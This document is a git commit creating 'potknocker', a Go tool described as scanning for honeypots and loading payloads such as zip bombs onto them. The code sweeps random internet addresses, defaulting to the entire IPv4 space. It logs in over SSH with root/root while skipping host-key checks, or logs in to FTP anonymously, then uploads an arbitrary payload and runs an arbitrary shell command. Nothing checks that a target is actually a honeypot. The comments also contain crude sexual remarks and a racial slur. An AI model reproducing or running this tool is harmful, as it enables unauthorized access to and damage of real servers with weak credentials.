This commit is contained in:
delorean 2024-08-30 18:51:26 -05:00
commit 7103b2efb3
12 changed files with 603 additions and 0 deletions

7
README.md Normal file
View File

@ -0,0 +1,7 @@
# potknocker
> scans for honeypots and loads arbitrary payloads onto them, like zip bombs
<p align="center">
<img src="https://i.imgur.com/A6Y5Y7P.png" width="150" title="latina">
</p>

12
cmd/potknocker/main.go Normal file
View File

@ -0,0 +1,12 @@
package main
import (
"potknocker/common"
)
func main() {
common.LoadConf()
common.SetExcludes()
common.Banner()
common.Takeoff()
}

74
common/config.go Normal file
View File

@ -0,0 +1,74 @@
package common
import (
"flag"
"fmt"
"os"
)
var (
cidr = flag.String("r", "", "")
list = flag.String("l", "", "")
threads = flag.Int("t", 25, "")
sshmode = flag.Bool("ssh", false, "")
ftpmode = flag.Bool("ftp", false, "")
payload = flag.String("p", "", "")
cmd = flag.String("c", "", "")
silent = flag.Bool("s", false, "")
Params *Config
)
type Config struct {
Cidr string // individual cidr to target
Targets string // list of target cidrs
Mode uint8 // 0:ssh 1:ftp
Payload string // file to upload
Command string // commands to run within ssh session after payload upload
Threads int // concurrent workers
Silent bool // no verbosity
}
func LoadConf() {
flag.Usage = usage
flag.Parse()
if len(os.Args) == 1 {
usage()
os.Exit(1)
}
if !*sshmode && !*ftpmode {
fatal("are you targeting ssh (-ssh) or ftp (-ftp)?")
}
if _, err := os.Stat(*payload); err != nil {
fatal("payload '" + *payload + "' not found")
}
targetcidr := ""
if *list == "" && *cidr == "" {
targetcidr = "0.0.0.0/0"
} else if *cidr != "" {
if !validcidr(*cidr) {
fatal(fmt.Sprintf("invalid target cidr: %s", *cidr))
}
targetcidr = *cidr
}
var mode uint8 = 0
if *ftpmode {
mode = 1
}
Params = &Config{
targetcidr,
*list,
mode,
*payload,
*cmd,
*threads,
*silent,
}
}

80
common/console.go Normal file
View File

@ -0,0 +1,80 @@
package common
import (
"fmt"
"os"
"time"
)
var (
colorReset = "\033[0m"
colorRed = "\033[31m"
colorPurple = "\033[35m"
colorCyan = "\033[36m"
colorYellow = "\033[33m"
colorGreen = "\033[32m"
skull = "\u2620"
)
func fatal(e string) {
fmt.Printf("%s%s %s%s\n", colorRed, skull, e, colorReset)
os.Exit(-1)
}
func info(msg string) {
fmt.Printf("%si %s%s\n", colorCyan, msg, colorReset)
}
func warn(msg string) {
fmt.Printf("%s! %s%s\n", colorYellow, msg, colorReset)
}
func success(msg string) {
fmt.Printf("%s+ %s%s\n", colorGreen, msg, colorReset)
}
func usage() {
Banner()
fmt.Fprintf(os.Stderr, `
potknocker - the block party on honeypot street
%s!%s -r %starget specific cidr range [0.0.0.0/0]%s
-l %slist of target cidr's (individual ip = /32)%s
%s!%s -ssh %starget ssh honeypots%s
%s!%s -ftp %starget ftp honeypots
%s!%s -p %spayload file to upload%s
-c %sshell command to run after uploading ssh payload%s
-t %sthreads [25]%s
-s %ssilence attempt logs%s
`, colorRed, colorCyan, colorPurple, colorCyan, colorPurple, colorCyan, colorYellow, colorCyan, colorPurple,
colorCyan, colorYellow, colorCyan, colorPurple, colorRed, colorCyan, colorPurple, colorCyan, colorPurple,
colorCyan, colorPurple, colorCyan, colorPurple, colorReset)
}
func Banner() {
fmt.Fprintf(os.Stderr, `
___________ ____
______/ \__// \__/____\
_/ \_/ //____\\
/| / \
| | \ /
| | | || \ \______/
| | || || |\ / |
\| || || | / | \
| || || | / /_\ \
| ___ || ___ || | / / \
\_ _/ \_ _/ | ____ |/__/ \
_\_ _/ \ /
/____ /
/ \ /
\______\_________/
%spotknocker - doing burnouts down honeypot street%s
sincerely,
~delorean
`, colorRed, colorReset)
}
func pause() {
time.Sleep(3 * time.Second)
warn("parking in front of steve linford's house...")
}

76
common/exec.go Normal file
View File

@ -0,0 +1,76 @@
package common
// separate channel iterators per case might not look the prettiest, but performs better due to
// not checking Params.Mode after every addr is received and avoiding an extra cmp every cycle.
// form over function source code aestheticians can suck the skin off my dick. on chirp.
func thread(addrs <-chan string, tab chan<- interface{}) {
switch Params.Mode {
case 0: // ssh
for addr := range addrs {
if !ipexcluded(addr) {
if !Params.Silent {
info("trying ssh connection to " + addr)
}
if c, err := connssh(addr); err == nil {
success("connected to " + addr + " - " + string(c.ServerVersion()))
if err = loadpl(c); err == nil {
success("wrote payload to " + c.RemoteAddr().String())
if Params.Command != "" {
if err = runcmd(c, Params.Command); err == nil {
success("executed command on " + c.LocalAddr().String() + " as " + c.User())
}
}
}
c.Close()
}
}
}
default: // ftp
for addr := range addrs {
if !ipexcluded(addr) {
if !Params.Silent {
info("trying anonymous ftp connection to " + addr)
}
if c, err := connftp(addr); err == nil {
success("logged into " + addr + " as anonymous")
if err = uploadplftp(c); err == nil {
success("delivered payload to anonymous ftp server at " + addr)
}
c.Quit()
}
}
}
}
tab <- "hack the planet"
}
func Takeoff() {
// id die for my niggas
// i ride my niggas
// ride for*
pause()
addrs := make(chan string)
tab := make(chan interface{})
for x := 0; x < Params.Threads; x++ {
go thread(addrs, tab)
}
if Params.Cidr != "" {
if !cidrexcluded(Params.Cidr) {
lcgcidr(Params.Cidr, addrs)
} else {
fatal("provided cidr " + Params.Cidr + " is within an excluded range")
}
} else {
readlist(Params.Targets, addrs)
}
close(addrs)
for x := 0; x < Params.Threads; x++ {
<-tab
}
close(tab)
}

34
common/ftp.go Normal file
View File

@ -0,0 +1,34 @@
package common
import (
"fmt"
"os"
"time"
"github.com/jlaffaye/ftp"
)
func connftp(addr string) (*ftp.ServerConn, error) {
c, err := ftp.Dial(fmt.Sprintf("%s:%d", addr, 21), ftp.DialWithTimeout(400*time.Millisecond))
if err != nil {
return nil, err
}
err = c.Login("anonymous", "anonymous")
if err != nil {
return nil, err
}
return c, nil
}
func uploadplftp(c *ftp.ServerConn) error {
fd, err := os.Open(Params.Payload)
if err != nil {
warn("error opening local payload file")
return err
}
defer fd.Close()
return c.Stor(Params.Payload, fd)
}

42
common/lcg.go Normal file
View File

@ -0,0 +1,42 @@
package common
import (
"fmt"
"math/big"
"net"
)
func iptouint(ip net.IP) uint32 {
ip = ip.To4()
return uint32(ip[0])<<24 | uint32(ip[1])<<16 | uint32(ip[2])<<8 | uint32(ip[3])
}
func toip(num uint32) string {
return fmt.Sprintf("%d.%d.%d.%d",
(num>>24)&255,
(num>>16)&255,
(num>>8)&255,
num&255)
}
// per-cidr linear congruential generator for efficient randomized target ip ordering, ty claude
func lcgcidr(cidr string, out chan<- string) {
// lcg constants
const a uint64 = 1664525
const c uint64 = 1013904223
_, ipnet, _ := net.ParseCIDR(cidr)
start := iptouint(ipnet.IP)
ones, bits := ipnet.Mask.Size()
addrcount := new(big.Int).Lsh(big.NewInt(1), uint(bits-ones))
x := uint64(start)
m := uint64(addrcount.Uint64())
for i := uint64(0); i < m; i++ {
x = (a*x + c) % (1 << 32) // mod of full 32bit addr count
ip := toip(uint32((x % m) + uint64(start)))
out <- ip
}
}

128
common/net.go Normal file
View File

@ -0,0 +1,128 @@
package common
import (
"io"
"net"
"net/http"
"strings"
)
var rfc1918 = []string{
"0.0.0.0/8",
"10.0.0.0/8",
"192.168.0.0/16",
"172.16.0.0/12",
}
var excludes []*net.IPNet
func pullbogons() ([]string, error) {
res, err := http.Get("https://www.team-cymru.org/Services/Bogons/fullbogons-ipv4.txt")
if err != nil {
return nil, err
}
if res.StatusCode == 404 {
return nil, err
}
defer res.Body.Close()
b := new(strings.Builder)
_, _ = io.Copy(b, res.Body)
raw := b.String()
parts := strings.Split(raw, "\n")
var bogons []string
for _, r := range parts {
if strings.Contains(r, "#") || !strings.Contains(r, "/") {
continue
}
bogons = append(bogons, r)
}
return bogons, nil
}
func parseranges(ranges []string) error {
for _, r := range ranges {
_, ipnet, err := net.ParseCIDR(r)
if err != nil {
return err
}
excludes = append(excludes, ipnet)
}
return nil
}
func validcidr(cidr string) bool {
_, _, err := net.ParseCIDR(cidr)
if err != nil {
return false
}
return true
}
func broadcast(ipnet *net.IPNet) net.IP {
ip := ipnet.IP.To4()
mask := ipnet.Mask
for i := range ip {
ip[i] |= ^mask[i]
}
return ip
}
func issmaller(submask, supermask net.IPMask) bool {
for i := range submask {
if submask[i] < supermask[i] {
return false
}
}
return true
}
func issubnet(subnet, supernet *net.IPNet) bool {
if !supernet.Contains(subnet.IP) {
return false
}
if !issmaller(subnet.Mask, supernet.Mask) {
return false
}
bc := broadcast(subnet)
return supernet.Contains(bc)
}
func ipexcluded(ip string) bool {
ip_ := net.ParseIP(ip)
for _, ex := range excludes {
if ex.Contains(ip_) {
return true
}
}
return false
}
func cidrexcluded(cidr string) bool {
_, argnet, _ := net.ParseCIDR(cidr)
for _, ex := range excludes {
if issubnet(argnet, ex) {
return true
}
}
return false
}
func SetExcludes() {
if bogons, err := pullbogons(); err == nil && len(bogons) > 4 {
if err = parseranges(bogons); err == nil {
return
}
}
info("error parsing bogon ranges, using rfc1918 defaults")
_ = parseranges(rfc1918)
}

27
common/read.go Normal file
View File

@ -0,0 +1,27 @@
package common
import (
"bufio"
"fmt"
"os"
"strings"
)
func readlist(list string, out chan string) {
fd, err := os.Open(list)
if err != nil {
fatal(err.Error())
}
defer fd.Close()
fs := bufio.NewScanner(fd)
for fs.Scan() {
line := strings.TrimSpace(fs.Text())
if len(line) > 0 {
if !validcidr(line) {
fatal(fmt.Sprintf("invalid target range: %s", line))
}
lcgcidr(line, out)
}
}
}

31
common/ssh.go Normal file
View File

@ -0,0 +1,31 @@
package common
import (
"net"
"time"
"github.com/melbahja/goph"
"golang.org/x/crypto/ssh"
)
func connssh(addr string) (*goph.Client, error) {
return goph.NewConn(&goph.Config{
User: "root",
Addr: addr,
Port: uint(22),
Auth: goph.Password("root"),
Callback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: 400 * time.Millisecond,
})
}
func loadpl(c *goph.Client) error {
return c.Upload(Params.Payload, "/root/"+Params.Payload)
}
func runcmd(c *goph.Client, cmd string) error {
_, err := c.Run(cmd)
return err
}

18
go.mod Normal file
View File

@ -0,0 +1,18 @@
module potknocker
go 1.22.6
require (
github.com/pkg/sftp v1.13.6
golang.org/x/crypto v0.26.0
)
require (
github.com/hashicorp/errwrap v1.0.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jlaffaye/ftp v0.2.0 // indirect
github.com/kr/fs v0.1.0 // indirect
github.com/melbahja/goph v1.4.0 // indirect
github.com/pkg/errors v0.9.1 // indirect
golang.org/x/sys v0.23.0 // indirect
)

74
go.sum Normal file
View File

@ -0,0 +1,74 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg=
github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI=
github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
github.com/melbahja/goph v1.4.0 h1:z0PgDbBFe66lRYl3v5dGb9aFgPy0kotuQ37QOwSQFqs=
github.com/melbahja/goph v1.4.0/go.mod h1:uG+VfK2Dlhk+O32zFrRlc3kYKTlV6+BtvPWd/kK7U68=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg=
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw=
golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM=
golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU=
golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=